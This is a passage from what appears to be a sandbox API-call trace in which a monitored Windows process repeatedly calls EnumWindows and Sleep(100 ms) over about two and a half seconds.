EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.121] Sleep (dwMilliseconds=0x64) [0235.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.166] Sleep (dwMilliseconds=0x64) [0235.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.178] Sleep (dwMilliseconds=0x64) [0235.271] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.271] Sleep (dwMilliseconds=0x64) [0235.284] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.285] Sleep (dwMilliseconds=0x64) [0235.287] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.287] Sleep (dwMilliseconds=0x64) [0235.290] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.290] Sleep (dwMilliseconds=0x64) [0235.292] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.292] Sleep (dwMilliseconds=0x64) [0235.295] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.296] Sleep (dwMilliseconds=0x64) [0235.298] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.298] Sleep (dwMilliseconds=0x64) [0235.299] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.300] Sleep (dwMilliseconds=0x64) [0235.311] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.311] Sleep (dwMilliseconds=0x64) [0235.313] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.313] Sleep (dwMilliseconds=0x64) [0235.397] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.397] Sleep (dwMilliseconds=0x64) [0235.400] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.400] Sleep (dwMilliseconds=0x64) [0235.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.415] Sleep (dwMilliseconds=0x64) [0235.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.416] Sleep (dwMilliseconds=0x64) [0235.419] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.419] Sleep (dwMilliseconds=0x64) [0235.421] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.421] Sleep (dwMilliseconds=0x64) [0235.422] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.423] Sleep (dwMilliseconds=0x64) [0235.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.425] Sleep (dwMilliseconds=0x64) [0235.428] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.428] Sleep (dwMilliseconds=0x64) [0235.430] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.430] Sleep (dwMilliseconds=0x64) [0235.432] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.432] Sleep (dwMilliseconds=0x64) [0235.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.434] Sleep (dwMilliseconds=0x64) [0235.453] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.453] Sleep (dwMilliseconds=0x64) [0235.593] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.593] Sleep (dwMilliseconds=0x64) [0235.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.605] Sleep (dwMilliseconds=0x64) [0235.614] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.614] Sleep (dwMilliseconds=0x64) [0235.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.624] Sleep (dwMilliseconds=0x64) [0235.767] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.767] Sleep (dwMilliseconds=0x64) [0235.774] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.775] Sleep (dwMilliseconds=0x64) [0235.780] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.780] Sleep (dwMilliseconds=0x64) [0235.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.782] Sleep (dwMilliseconds=0x64) [0235.784] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.784] Sleep (dwMilliseconds=0x64) [0235.786] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.786] Sleep (dwMilliseconds=0x64) [0235.788] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.788] Sleep (dwMilliseconds=0x64) [0235.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.790] Sleep (dwMilliseconds=0x64) [0235.791] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.791] Sleep (dwMilliseconds=0x64) [0235.796] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.796] Sleep (dwMilliseconds=0x64) [0235.799] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.800] Sleep (dwMilliseconds=0x64) [0235.804] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.804] Sleep (dwMilliseconds=0x64) [0235.806] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.806] Sleep (dwMilliseconds=0x64) [0235.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.809] Sleep (dwMilliseconds=0x64) [0235.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.811] Sleep (dwMilliseconds=0x64) [0235.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0235.953] Sleep (dwMilliseconds=0x64) [0236.042] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.043] Sleep (dwMilliseconds=0x64) [0236.044] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.044] Sleep (dwMilliseconds=0x64) [0236.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.052] Sleep (dwMilliseconds=0x64) [0236.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.054] Sleep (dwMilliseconds=0x64) [0236.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.056] Sleep (dwMilliseconds=0x64) [0236.058] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.058] Sleep (dwMilliseconds=0x64) [0236.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.061] Sleep (dwMilliseconds=0x64) [0236.064] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.065] Sleep (dwMilliseconds=0x64) [0236.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.067] Sleep (dwMilliseconds=0x64) [0236.068] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.068] Sleep (dwMilliseconds=0x64) [0236.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.070] Sleep (dwMilliseconds=0x64) [0236.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.072] Sleep (dwMilliseconds=0x64) [0236.184] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.185] Sleep (dwMilliseconds=0x64) [0236.219] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.219] Sleep (dwMilliseconds=0x64) [0236.323] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.323] Sleep (dwMilliseconds=0x64) [0236.332] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.332] Sleep (dwMilliseconds=0x64) [0236.344] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.345] Sleep (dwMilliseconds=0x64) [0236.359] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.360] Sleep (dwMilliseconds=0x64) [0236.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.362] Sleep (dwMilliseconds=0x64) [0236.365] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.365] Sleep (dwMilliseconds=0x64) [0236.366] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.367] Sleep (dwMilliseconds=0x64) [0236.368] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.368] Sleep (dwMilliseconds=0x64) [0236.370] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.370] Sleep (dwMilliseconds=0x64) [0236.372] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.373] Sleep (dwMilliseconds=0x64) [0236.374] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.374] Sleep (dwMilliseconds=0x64) [0236.376] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.376] Sleep (dwMilliseconds=0x64) [0236.377] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.378] Sleep (dwMilliseconds=0x64) [0236.380] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.380] Sleep (dwMilliseconds=0x64) [0236.381] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.382] Sleep (dwMilliseconds=0x64) [0236.384] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.384] Sleep (dwMilliseconds=0x64) [0236.385] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.386] Sleep (dwMilliseconds=0x64) [0236.388] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.388] Sleep (dwMilliseconds=0x64) [0236.389] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.389] Sleep (dwMilliseconds=0x64) [0236.392] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.392] Sleep (dwMilliseconds=0x64) [0236.394] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.394] Sleep (dwMilliseconds=0x64) [0236.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.397] Sleep (dwMilliseconds=0x64) [0236.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.399] Sleep (dwMilliseconds=0x64) [0236.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.401] Sleep (dwMilliseconds=0x64) [0236.403] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.403] Sleep (dwMilliseconds=0x64) [0236.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.405] Sleep (dwMilliseconds=0x64) [0236.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.407] Sleep (dwMilliseconds=0x64) [0236.409] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.409] Sleep (dwMilliseconds=0x64) [0236.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.411] Sleep (dwMilliseconds=0x64) [0236.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.414] Sleep (dwMilliseconds=0x64) [0236.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.416] Sleep (dwMilliseconds=0x64) [0236.418] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.418] Sleep (dwMilliseconds=0x64) [0236.423] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.423] Sleep (dwMilliseconds=0x64) [0236.425] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.425] Sleep (dwMilliseconds=0x64) [0236.427] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.427] Sleep (dwMilliseconds=0x64) [0236.429] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.429] Sleep (dwMilliseconds=0x64) [0236.431] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.431] Sleep (dwMilliseconds=0x64) [0236.433] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.433] Sleep (dwMilliseconds=0x64) [0236.435] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.435] Sleep (dwMilliseconds=0x64) [0236.437] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.437] Sleep (dwMilliseconds=0x64) [0236.439] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.439] Sleep (dwMilliseconds=0x64) [0236.440] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.440] Sleep (dwMilliseconds=0x64) [0236.443] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.444] Sleep (dwMilliseconds=0x64) [0236.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.446] Sleep (dwMilliseconds=0x64) [0236.449] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.449] Sleep (dwMilliseconds=0x64) [0236.451] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.451] Sleep (dwMilliseconds=0x64) [0236.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.453] Sleep (dwMilliseconds=0x64) [0236.454] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.455] Sleep (dwMilliseconds=0x64) [0236.457] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.457] Sleep (dwMilliseconds=0x64) [0236.459] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.459] Sleep (dwMilliseconds=0x64) [0236.461] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.461] Sleep (dwMilliseconds=0x64) [0236.463] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.463] Sleep (dwMilliseconds=0x64) [0236.465] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.465] Sleep (dwMilliseconds=0x64) [0236.467] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.467] Sleep (dwMilliseconds=0x64) [0236.469] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.469] Sleep (dwMilliseconds=0x64) [0236.471] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.471] Sleep (dwMilliseconds=0x64) [0236.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.473] Sleep (dwMilliseconds=0x64) [0236.475] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.475] Sleep (dwMilliseconds=0x64) [0236.477] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.477] Sleep (dwMilliseconds=0x64) [0236.482] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.482] Sleep (dwMilliseconds=0x64) [0236.484] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.484] Sleep (dwMilliseconds=0x64) [0236.486] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.486] Sleep (dwMilliseconds=0x64) [0236.488] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.488] Sleep (dwMilliseconds=0x64) [0236.489] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.490] Sleep (dwMilliseconds=0x64) [0236.491] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.492] Sleep (dwMilliseconds=0x64) [0236.493] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.493] Sleep (dwMilliseconds=0x64) [0236.494] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.495] Sleep (dwMilliseconds=0x64) [0236.496] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.496] Sleep (dwMilliseconds=0x64) [0236.497] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.498] Sleep (dwMilliseconds=0x64) [0236.499] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.499] Sleep (dwMilliseconds=0x64) [0236.501] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.501] Sleep (dwMilliseconds=0x64) [0236.503] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.503] Sleep (dwMilliseconds=0x64) [0236.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.505] Sleep (dwMilliseconds=0x64) [0236.507] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.507] Sleep (dwMilliseconds=0x64) [0236.508] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.509] Sleep (dwMilliseconds=0x64) [0236.511] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.511] Sleep (dwMilliseconds=0x64) [0236.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.527] Sleep (dwMilliseconds=0x64) [0236.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.541] Sleep (dwMilliseconds=0x64) [0236.544] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.545] Sleep (dwMilliseconds=0x64) [0236.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.550] Sleep (dwMilliseconds=0x64) [0236.552] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.552] Sleep (dwMilliseconds=0x64) [0236.554] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.555] Sleep (dwMilliseconds=0x64) [0236.556] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.557] Sleep (dwMilliseconds=0x64) [0236.558] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.559] Sleep (dwMilliseconds=0x64) [0236.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.560] Sleep (dwMilliseconds=0x64) [0236.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.562] Sleep (dwMilliseconds=0x64) [0236.563] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.564] Sleep (dwMilliseconds=0x64) [0236.565] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.565] Sleep (dwMilliseconds=0x64) [0236.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.567] Sleep (dwMilliseconds=0x64) [0236.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.570] Sleep (dwMilliseconds=0x64) [0236.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.571] Sleep (dwMilliseconds=0x64) [0236.573] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.573] Sleep (dwMilliseconds=0x64) [0236.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.583] Sleep (dwMilliseconds=0x64) [0236.586] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.586] Sleep (dwMilliseconds=0x64) [0236.588] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.588] Sleep (dwMilliseconds=0x64) [0236.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.590] Sleep (dwMilliseconds=0x64) [0236.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.593] Sleep (dwMilliseconds=0x64) [0236.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.595] Sleep (dwMilliseconds=0x64) [0236.597] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.597] Sleep (dwMilliseconds=0x64) [0236.599] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.599] Sleep (dwMilliseconds=0x64) [0236.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.601] Sleep (dwMilliseconds=0x64) [0236.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.604] Sleep (dwMilliseconds=0x64) [0236.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.606] Sleep (dwMilliseconds=0x64) [0236.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.608] Sleep (dwMilliseconds=0x64) [0236.610] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.610] Sleep (dwMilliseconds=0x64) [0236.613] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.613] Sleep (dwMilliseconds=0x64) [0236.617] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.617] Sleep (dwMilliseconds=0x64) [0236.619] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.620] Sleep (dwMilliseconds=0x64) [0236.621] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.622] Sleep (dwMilliseconds=0x64) [0236.623] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.623] Sleep (dwMilliseconds=0x64) [0236.625] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.625] Sleep (dwMilliseconds=0x64) [0236.627] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.627] Sleep (dwMilliseconds=0x64) [0236.629] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.629] Sleep (dwMilliseconds=0x64) [0236.631] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.631] Sleep (dwMilliseconds=0x64) [0236.633] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.634] Sleep (dwMilliseconds=0x64) [0236.672] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.672] Sleep (dwMilliseconds=0x64) [0236.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.681] Sleep (dwMilliseconds=0x64) [0236.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.684] Sleep (dwMilliseconds=0x64) [0236.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.686] Sleep (dwMilliseconds=0x64) [0236.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.690] Sleep (dwMilliseconds=0x64) [0236.693] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.694] Sleep (dwMilliseconds=0x64) [0236.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.696] Sleep (dwMilliseconds=0x64) [0236.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.698] Sleep (dwMilliseconds=0x64) [0236.700] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.700] Sleep (dwMilliseconds=0x64) [0236.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.702] Sleep (dwMilliseconds=0x64) [0236.759] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.759] Sleep (dwMilliseconds=0x64) [0236.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.801] Sleep (dwMilliseconds=0x64) [0236.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.808] Sleep (dwMilliseconds=0x64) [0236.810] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.811] Sleep (dwMilliseconds=0x64) [0236.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.813] Sleep (dwMilliseconds=0x64) [0236.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.816] Sleep (dwMilliseconds=0x64) [0236.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.817] Sleep (dwMilliseconds=0x64) [0236.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.819] Sleep (dwMilliseconds=0x64) [0236.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.821] Sleep (dwMilliseconds=0x64) [0236.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.824] Sleep (dwMilliseconds=0x64) [0236.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.825] Sleep (dwMilliseconds=0x64) [0236.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.827] Sleep (dwMilliseconds=0x64) [0236.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0236.829] Sleep (dwMilliseconds=0x64) [0237.006] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.006] Sleep (dwMilliseconds=0x64) [0237.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.041] Sleep (dwMilliseconds=0x64) [0237.155] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.155] Sleep (dwMilliseconds=0x64) [0237.293] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.293] Sleep (dwMilliseconds=0x64) [0237.310] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.310] Sleep (dwMilliseconds=0x64) [0237.318] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.319] Sleep (dwMilliseconds=0x64) [0237.412] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.412] Sleep (dwMilliseconds=0x64) [0237.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.631] Sleep (dwMilliseconds=0x64) [0237.632] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.633] Sleep (dwMilliseconds=0x64) [0237.634] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.635] Sleep (dwMilliseconds=0x64) [0237.636] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.636] Sleep (dwMilliseconds=0x64) [0237.638] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.638] Sleep (dwMilliseconds=0x64) [0237.640] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.640] Sleep (dwMilliseconds=0x64) [0237.641] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.642] Sleep (dwMilliseconds=0x64) [0237.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.644] Sleep (dwMilliseconds=0x64) [0237.645] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.645] Sleep (dwMilliseconds=0x64) [0237.647] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.647] Sleep (dwMilliseconds=0x64) [0237.648] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.648] Sleep (dwMilliseconds=0x64) [0237.651] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.651] Sleep (dwMilliseconds=0x64) [0237.653] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.653] Sleep (dwMilliseconds=0x64) [0237.659] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.660] Sleep (dwMilliseconds=0x64) [0237.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.675] Sleep (dwMilliseconds=0x64) [0237.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.678] Sleep (dwMilliseconds=0x64) [0237.679] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.680] Sleep (dwMilliseconds=0x64) [0237.681] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.681] Sleep (dwMilliseconds=0x64) [0237.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.683] Sleep (dwMilliseconds=0x64) [0237.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.687] Sleep (dwMilliseconds=0x64) [0237.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.688] Sleep (dwMilliseconds=0x64) [0237.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.690] Sleep (dwMilliseconds=0x64) [0237.702] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.702] Sleep (dwMilliseconds=0x64) [0237.704] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.704] Sleep (dwMilliseconds=0x64) [0237.706] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.706] Sleep (dwMilliseconds=0x64) [0237.712] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.712] Sleep (dwMilliseconds=0x64) [0237.714] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.714] Sleep (dwMilliseconds=0x64) [0237.716] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.716] Sleep (dwMilliseconds=0x64) [0237.718] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.718] Sleep (dwMilliseconds=0x64) [0237.720] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.720] Sleep (dwMilliseconds=0x64) [0237.723] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.723] Sleep (dwMilliseconds=0x64) [0237.724] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.725] Sleep (dwMilliseconds=0x64) [0237.726] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.726] Sleep (dwMilliseconds=0x64) [0237.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.728] Sleep (dwMilliseconds=0x64) [0237.729] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.730] Sleep (dwMilliseconds=0x64) [0237.731] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.731] Sleep (dwMilliseconds=0x64) [0237.733] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0237.733] Sleep (dwMilliseconds=0x64) 